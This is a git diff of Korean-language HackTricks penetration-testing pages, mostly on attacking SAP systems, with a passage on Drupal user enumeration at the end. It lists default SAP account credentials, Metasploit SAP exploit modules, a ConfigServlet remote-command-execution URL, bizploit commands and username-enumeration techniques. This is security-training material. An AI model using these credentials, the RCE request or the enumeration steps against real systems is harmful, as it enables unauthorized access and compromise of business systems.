* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,39 +1,42 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
# SAP에 대한 소개
|
||||
|
||||
SAP는 데이터 처리 시스템 응용 프로그램 및 제품을 나타냅니다. SAP는 정의에 따라 ERP (Enterprise Resource Planning) 소프트웨어의 이름이기도 하며 회사의 이름이기도 합니다.
|
||||
SAP는 데이터 처리 시스템 응용 프로그램 및 제품을 나타냅니다. SAP는 ERP \(Enterprise Resource Planning\) 소프트웨어의 이름이자 회사 이름입니다.
|
||||
SAP 시스템은 사실상 비즈니스 관리의 거의 모든 측면을 다루는 여러 통합 모듈로 구성됩니다.
|
||||
|
||||
각 SAP 인스턴스 (또는 SID)는 데이터베이스, 응용 프로그램 및 프레젠테이션으로 구성된 세 가지 레이어로 구성됩니다. 각 랜드스케이프는 일반적으로 개발, 테스트, QA 및 프로덕션으로 구성된 네 개의 인스턴스로 구성됩니다.
|
||||
각 레이어는 어느 정도로든 악용될 수 있지만, **데이터베이스를 공격하는 것이 가장 효과적**입니다.
|
||||
각 SAP 인스턴스(또는 SID)는 데이터베이스, 응용 프로그램 및 표현으로 구성된 세 개의 레이어로 구성되며, 각 랜드스케이프는 일반적으로 개발, 테스트, QA 및 프로덕션 네 개의 인스턴스로 구성됩니다.
|
||||
각 레이어는 어느 정도로도 악용될 수 있지만, **데이터베이스를 공격하는 것이 가장 효과적**입니다.
|
||||
|
||||
각 SAP 인스턴스는 클라이언트로 나뉩니다. 각 클라이언트에는 "root"의 응용 프로그램과 동등한 사용자 SAP\*이 있습니다.
|
||||
초기 생성 시, 이 사용자 SAP\*은 기본 비밀번호 "060719992"를 받습니다 (아래에 더 많은 기본 비밀번호가 있습니다).
|
||||
테스트 또는 개발 환경에서 이러한 **비밀번호가 얼마나 자주 변경되지 않는지 알면 놀랄 것입니다**!
|
||||
각 SAP 인스턴스는 클라이언트로 나뉘어집니다. 각 클라이언트에는 "root"의 응용 프로그램 버전인 SAP\* 사용자가 있습니다.
|
||||
초기 생성 시, 이 사용자 SAP\*은 기본 암호 "060719992"를 받습니다(아래에 더 많은 기본 암호가 있음).
|
||||
테스트 또는 개발 환경에서 이러한 **암호가 자주 변경되지 않는 것을 알게 될 것입니다**!
|
||||
|
||||
사용자 이름 <SID>adm을 사용하여 어떤 서버의 쉘에 액세스하려고 시도하세요.
|
||||
브루트 포싱이 도움이 될 수 있지만, 계정 잠금 메커니즘이 있을 수 있습니다.
|
||||
사용자 이름 <SID>adm을 사용하여 어떤 서버의 셸에 액세스하려고 시도하세요.
|
||||
Bruteforcing은 도움이 될 수 있지만, 계정 잠금 메커니즘이 있을 수 있습니다.
|
||||
|
||||
# 탐지
|
||||
# 발견
|
||||
|
||||
> 다음 섹션은 사용자 shipcod3의 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)에서 가져온 내용입니다!
|
||||
> 다음 섹션은 대부분 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)의 사용자 shipcod3에서 가져온 것입니다!
|
||||
|
||||
* 테스트를 위해 응용 프로그램 범위 또는 프로그램 요약을 확인하세요. SAP GUI에 연결하기 위한 호스트 이름 또는 시스템 인스턴스를 기록하세요.
|
||||
* 인터넷에 연결되어 있거나 공개적인 경우, OSINT (오픈 소스 인텔리전스), Shodan 및 Google Dorks를 사용하여 파일, 하위 도메인 및 중요한 정보를 확인하세요:
|
||||
* 테스트를 위해 응용 프로그램 범위 또는 프로그램 요약을 확인하세요. SAP GUI에 연결하기 위한 호스트 이름이나 시스템 인스턴스를 메모하세요.
|
||||
* 응용 프로그램이 인터넷에 노출되어 있거나 공개되어 있는 경우 파일, 서브도메인 및 중요한 정보를 확인하기 위해 OSINT(오픈 소스 인텔리전스), Shodan 및 Google Dorks를 사용하세요.
|
||||
```text
|
||||
inurl:50000/irj/portal
|
||||
inurl:IciEventService/IciEventConf
|
||||
|
@ -43,19 +46,19 @@ https://www.shodan.io/search?query=sap+portal
|
|||
https://www.shodan.io/search?query=SAP+Netweaver
|
||||
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
||||
```
|
||||
* [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)은 다음과 같이 보입니다.
|
||||
* 다음은 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)의 모습입니다.
|
||||
|
||||
![SAP 로그온 화면](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
||||
|
||||
* nmap을 사용하여 열린 포트와 알려진 서비스 (sap 라우터, webdnypro, 웹 서비스, 웹 서버 등)를 확인합니다.
|
||||
* nmap을 사용하여 열린 포트와 알려진 서비스\(sap 라우터, 웹다이노, 웹 서비스, 웹 서버 등\)를 확인합니다.
|
||||
* 웹 서버가 실행 중인 경우 URL을 크롤링합니다.
|
||||
* 특정 포트에 웹 서버가 있는 경우 디렉터리를 퍼징합니다 (Burp Intruder를 사용할 수 있습니다). 다음은 기본 SAP ICM 경로 및 기타 흥미로운 디렉터리 또는 파일을 찾기 위한 SecLists 프로젝트에서 제공하는 좋은 워드리스트입니다:
|
||||
* 특정 포트에서 웹 서버가 실행 중인 경우 디렉토리를 퍼징합니다\(Burp Intruder를 사용할 수 있음\). 다음은 SecLists Project에서 제공하는 몇 가지 좋은 워드리스트입니다. 기본 SAP ICM 경로 및 기타 흥미로운 디렉토리 또는 파일을 찾기 위한 것입니다:
|
||||
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
||||
|
||||
* SAP 인스턴스/서비스/구성 요소를 열거하기 위해 SAP SERVICE DISCOVERY 보조 Metasploit 모듈을 사용합니다:
|
||||
* SAP SERVICE DISCOVERY 보조 Metasploit 모듈을 사용하여 SAP 인스턴스/서비스/구성 요소를 열거합니다:
|
||||
```text
|
||||
msf > use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > show options
|
||||
|
@ -74,10 +77,10 @@ msf auxiliary(sap_service_discovery) > run
|
|||
```
|
||||
## 두꺼운 클라이언트 / SAP GUI 테스트
|
||||
|
||||
다음은 SAP GUI에 연결하기 위한 명령입니다.
|
||||
다음은 SAP GUI에 연결하는 명령입니다.
|
||||
`sapgui <sap 서버 호스트 이름> <시스템 번호>`
|
||||
|
||||
* 기본 자격 증명 확인하기 (Bugcrowd의 취약성 등급 분류에서는 P1로 간주됩니다. -> 서버 보안 구성 | 기본 자격 증명 사용 | 프로덕션 서버) :
|
||||
* 기본 자격 증명을 확인하십시오 \(Bugcrowd의 취약점 등급 분류에서 이는 P1로 간주됩니다 -> 서버 보안 구성 오류 \| 기본 자격 증명 사용 \| 프로덕션 서버\) :
|
||||
```text
|
||||
# SAP* - High privileges - Hardcoded kernel user
|
||||
SAP*:06071992:*
|
||||
|
@ -128,31 +131,31 @@ SAP*:Down1oad:000,001
|
|||
DEVELOPER:Down1oad:001
|
||||
BWDEVELOPER:Down1oad:001
|
||||
```
|
||||
* Wireshark를 실행한 다음, SSL 없이 자격증명을 전송하는 클라이언트(SAP GUI)에 인증합니다. SAP DIAG 프로토콜에서 사용되는 주요 헤더를 분석할 수 있는 두 가지 알려진 Wireshark 플러그인이 있습니다: SecureAuth Labs SAP dissection plug-in과 Positive Research Center의 SAP DIAG 플러그인.
|
||||
* 낮은 권한을 가진 사용자를 위해 일부 SAP 트랜잭션 코드(tcodes)를 사용한 권한 상승을 확인합니다:
|
||||
* Wireshark를 실행한 다음, SSL 없이 자격 증명을 전송하는 클라이언트(SAP GUI)에 인증합니다. SAP DIAG 프로토콜에서 사용되는 주요 헤더를 분석하는 두 가지 알려진 Wireshark 플러그인이 있습니다: SecureAuth Labs SAP dissection plug-in 및 Positive Research Center의 SAP DIAG 플러그인.
|
||||
* 낮은 권한을 가진 사용자를 위해 일부 SAP 트랜잭션 코드(tcodes)를 사용한 권한 상승 여부를 확인합니다:
|
||||
* SU01 - 사용자 생성 및 유지 관리
|
||||
* SU01D - 사용자 표시
|
||||
* SU10 - 대량 유지 관리
|
||||
* SU02 - 프로필 수동 생성
|
||||
* SM19 - 보안 감사 - 구성
|
||||
* SE84 - SAP R/3 권한에 대한 정보 시스템
|
||||
* 클라이언트에서 시스템 명령 실행/스크립트 실행이 가능한지 확인합니다.
|
||||
* SE84 - SAP R/3 권한을 위한 정보 시스템
|
||||
* 클라이언트에서 시스템 명령을 실행하거나 스크립트를 실행할 수 있는지 확인합니다.
|
||||
* BAPI Explorer에서 XSS를 수행할 수 있는지 확인합니다.
|
||||
|
||||
# 웹 인터페이스 테스트
|
||||
|
||||
* URL을 크롤링합니다(탐색 단계 참조).
|
||||
* 탐색 단계와 같이 URL을 퍼징합니다. [http://SAP:50000/index.html](http://sap:50000/index.html)은 다음과 같습니다:
|
||||
* URL을 크롤링합니다(발견 단계 참조).
|
||||
* 발견 단계와 같이 URL을 퍼징합니다. 다음은 [http://SAP:50000/index.html](http://sap:50000/index.html)의 모습입니다:
|
||||
|
||||
![SAP 인덱스 페이지](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||
|
||||
* 일반적인 웹 취약점을 찾습니다(OWASP Top 10 참조) - XSS, RCE, XXE 등의 취약점이 일부 위치에 존재합니다.
|
||||
* 웹 취약점 테스트를 위해 Jason Haddix의 "The Bug Hunters Methodology"를 확인합니다.
|
||||
* 동사 조작을 통한 인증 우회 가능성이 있을까요? 아마도 :)
|
||||
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`를 열고 "Choose" 버튼을 클릭한 다음, 열린 창에서 "Search"를 누릅니다. SAP 사용자 목록이 표시되어야 합니다(취약점 참조: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)).
|
||||
* 자격증명이 HTTP를 통해 제출되는지 확인합니다. 그렇다면 Bugcrowd의 취약점 등급 분류(Vulnerability Rating Taxonomy)에 따라 P3로 간주됩니다: Broken Authentication and Session Management | Weak Login Function Over HTTP. 힌트: [http://SAP:50000/startPage](http://sap:50000/startPage) 또는 로그온 포털을 확인하세요 :)
|
||||
* 몇 군데의 위치에는 XSS, RCE, XXE 등 취약점이 있으므로 일반적인 웹 취약점을 찾습니다(OWASP Top 10 참조).
|
||||
* 웹 취약점을 테스트하기 위해 Jason Haddix의 [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)를 확인합니다.
|
||||
* 동사 조작을 통한 인증 우회 가능성이 있을까요? 아마도 :\)
|
||||
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`를 열고 "Choose" 버튼을 클릭한 다음 열린 창에서 "Search"를 누릅니다. SAP 사용자 목록을 볼 수 있어야 합니다(취약점 참조: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)).
|
||||
* 자격 증명이 HTTP를 통해 제출되는지 확인합니다. 그렇다면 Bugcrowd의 [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)에 따라 P3로 간주됩니다: Broken Authentication and Session Management \| Weak Login Function Over HTTP. 힌트: [http://SAP:50000/startPage](http://sap:50000/startPage)나 로그온 포털을 확인하세요 :\)
|
||||
|
||||
![SAP 시작 페이지](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||
|
||||
* 가능한 디렉토리 목록 또는 인증 우회를 위해 `/irj/go/km/navigation/`를 시도합니다.
|
||||
* [http://SAP/sap/public/info](http://sap/sap/public/info)에는 유용한 정보가 포함되어 있습니다:
|
||||
|
@ -188,8 +191,8 @@ BWDEVELOPER:Down1oad:001
|
|||
```
|
||||
# 공격!
|
||||
|
||||
* 이것이 오래된 서버나 Windows 2000과 같은 기술에서 실행되는지 확인하십시오.
|
||||
* 가능한 공격 / 공격 계획을 세우세요. SAP 탐지를 위한 Metasploit 모듈 (보조 모듈)과 exploits이 많이 있습니다.
|
||||
* 오래된 서버나 Windows 2000과 같은 기술에서 실행되는지 확인합니다.
|
||||
* 가능한 공격/공격 계획을 세우세요. SAP 발견을 위한 Metasploit 모듈 \(보조 모듈\)과 exploits이 많이 있습니다:
|
||||
```text
|
||||
msf > search sap
|
||||
Matching Modules
|
||||
|
@ -254,13 +257,13 @@ exploit/windows/lpd/saplpd 2008-02
|
|||
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
||||
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
||||
```
|
||||
* 알려진 취약점(Exploit-DB를 확인하세요)이나 과거에 사용되던 "SAP ConfigServlet 원격 코드 실행"과 같은 공격을 시도해보세요.
|
||||
* 알려진 취약점(Exploit-DB를 확인하세요)이나 공격을 활용해 보세요. 예를 들어 고전이지만 효과적인 "SAP ConfigServlet 원격 코드 실행" 공격을 사용해 보세요:
|
||||
```text
|
||||
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
||||
```
|
||||
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
|
||||
|
||||
* 디스커버리 단계에서 bizploit 스크립트의 `start` 명령을 실행하기 전에 취약점 평가를 수행하기 위해 다음을 추가할 수도 있습니다:
|
||||
* `start` 명령을 실행하기 전에 Discovery 단계에서 취약성 평가를 수행하기 위해 다음을 추가할 수 있습니다:
|
||||
```text
|
||||
bizploit> plugins
|
||||
bizploit/plugins> vulnassess all
|
||||
|
@ -282,38 +285,41 @@ bizploit/plugins> start
|
|||
bizploit/plugins> back
|
||||
bizploit> start
|
||||
```
|
||||
# 테스트에 유용한 다른 도구들
|
||||
# 기타 유용한 테스트 도구
|
||||
|
||||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAP 보안 평가를 위한 Powershell 도구
|
||||
* [Burp Suite](https://portswigger.net/burp) - 디렉토리 퍼징과 웹 보안 평가에 필수적인 도구
|
||||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAP 보안을 평가하기 위한 Powershell 도구
|
||||
* [Burp Suite](https://portswigger.net/burp) - 디렉터리 퍼징 및 웹 보안 평가에 필수적인 도구
|
||||
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP 네트워크 프로토콜 패킷을 생성하기 위한 Python 라이브러리
|
||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - nmap을 사용하여 SAP/ERP를 감지하는 도움
|
||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - nmap이 SAP/ERP를 감지하는 데 도움을 주는 도구
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [Metasploit을 사용한 SAP 펜테스트](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit을 반자동화하는 스크립트
|
||||
* [SAP NetWeaver ABAP 보안 구성 파트 3: 애플리케이션 접근을 위한 기본 암호](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||
* [Metasploit를 사용한 SAP 침투 테스트](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit를 반자동화하는 스크립트
|
||||
* [SAP NetWeaver ABAP 보안 구성 파트 3: 응용 프로그램 접근을 위한 기본 암호](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||
* [SAP 보안과 관련된 ABAP 트랜잭션 코드 목록](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||||
* [SAP 포털 해킹](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||||
* [가장 흥미로운 SAP 취약점과 공격 Top 10](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [bizploit을 사용한 SAP 생태계 보안 평가: 탐색](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||
* [가장 흥미로운 SAP 취약점 및 공격 10가지](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [bizploit를 사용한 SAP 생태계 보안 평가: 발견](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,25 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Discovery
|
||||
|
||||
* **메타**를 확인하세요.
|
||||
* **메타** 확인
|
||||
```bash
|
||||
curl https://www.drupal.org/ | grep 'content="Drupal'
|
||||
```
|
||||
* **노드**: Drupal은 **노드를 사용하여 콘텐츠를 색인화**합니다. 노드는 블로그 글, 투표, 기사 등과 같은 **어떤 것이든 저장**할 수 있습니다. 페이지 URI는 일반적으로 `/node/<nodeid>` 형식입니다.
|
||||
* **Node**: Drupal은 **콘텐츠를 노드로 색인화**합니다. 노드는 블로그 글, 투표, 기사 등과 같은 **모든 것을 보유**할 수 있습니다. 페이지 URI는 일반적으로 `/node/<nodeid>` 형식입니다.
|
||||
```bash
|
||||
curl drupal-site.com/node/1
|
||||
```
|
||||
|
@ -29,7 +34,7 @@ curl drupal-site.com/node/1
|
|||
Drupal은 기본적으로 **세 가지 유형의 사용자**를 지원합니다:
|
||||
|
||||
1. **`관리자`**: 이 사용자는 Drupal 웹사이트를 완전히 제어할 수 있습니다.
|
||||
2. **`인증된 사용자`**: 이러한 사용자는 웹 사이트에 로그인하고 권한에 따라 기사를 추가하고 편집하는 등의 작업을 수행할 수 있습니다.
|
||||
2. **`인증된 사용자`**: 이러한 사용자는 웹사이트에 로그인하고 권한에 따라 기사를 추가하고 편집하는 작업을 수행할 수 있습니다.
|
||||
3. **`익명`**: 모든 웹사이트 방문자는 익명으로 지정됩니다. 기본적으로 이러한 사용자는 게시물을 읽는 것만 허용됩니다.
|
||||
|
||||
### 버전
|
||||
|
@ -41,38 +46,38 @@ curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
|
|||
Drupal 7.57, 2018-02-21
|
||||
```
|
||||
{% hint style="info" %}
|
||||
새로 설치된 Drupal은 기본적으로 `CHANGELOG.txt` 및 `README.txt` 파일에 대한 액세스를 차단합니다.
|
||||
새로운 Drupal 설치는 기본적으로 `CHANGELOG.txt` 및 `README.txt` 파일에 대한 액세스를 차단합니다.
|
||||
{% endhint %}
|
||||
|
||||
### 사용자 이름 열거
|
||||
|
||||
#### 등록
|
||||
|
||||
_/user/register_에서 사용자 이름을 만들려고 시도하고 이름이 이미 사용 중인 경우 알림이 표시됩니다:
|
||||
_ /user/register_에서 사용자 이름을 만들려고 시도하면 이름이 이미 사용 중인 경우 알림이 표시됩니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (254).png>)
|
||||
![](<../../.gitbook/assets/image (325).png>)
|
||||
|
||||
#### 새 비밀번호 요청
|
||||
|
||||
기존 사용자 이름에 대해 새 비밀번호를 요청하는 경우:
|
||||
|
||||
![](<../../.gitbook/assets/image (255).png>)
|
||||
![](<../../.gitbook/assets/image (900).png>)
|
||||
|
||||
존재하지 않는 사용자 이름에 대해 새 비밀번호를 요청하는 경우:
|
||||
|
||||
![](<../../.gitbook/assets/image (256).png>)
|
||||
![](<../../.gitbook/assets/image (304).png>)
|
||||
|
||||
### 사용자 수 가져오기
|
||||
|
||||
_/user/\<number>_에 액세스하여 기존 사용자 수를 확인할 수 있습니다. 이 경우 _/users/3_은 찾을 수 없는 오류를 반환합니다:
|
||||
_ /user/\<number>_에 액세스하여 기존 사용자 수를 볼 수 있습니다. 이 경우 _/users/3_은 찾을 수 없는 오류를 반환합니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (257).png>)
|
||||
![](<../../.gitbook/assets/image (330).png>)
|
||||
|
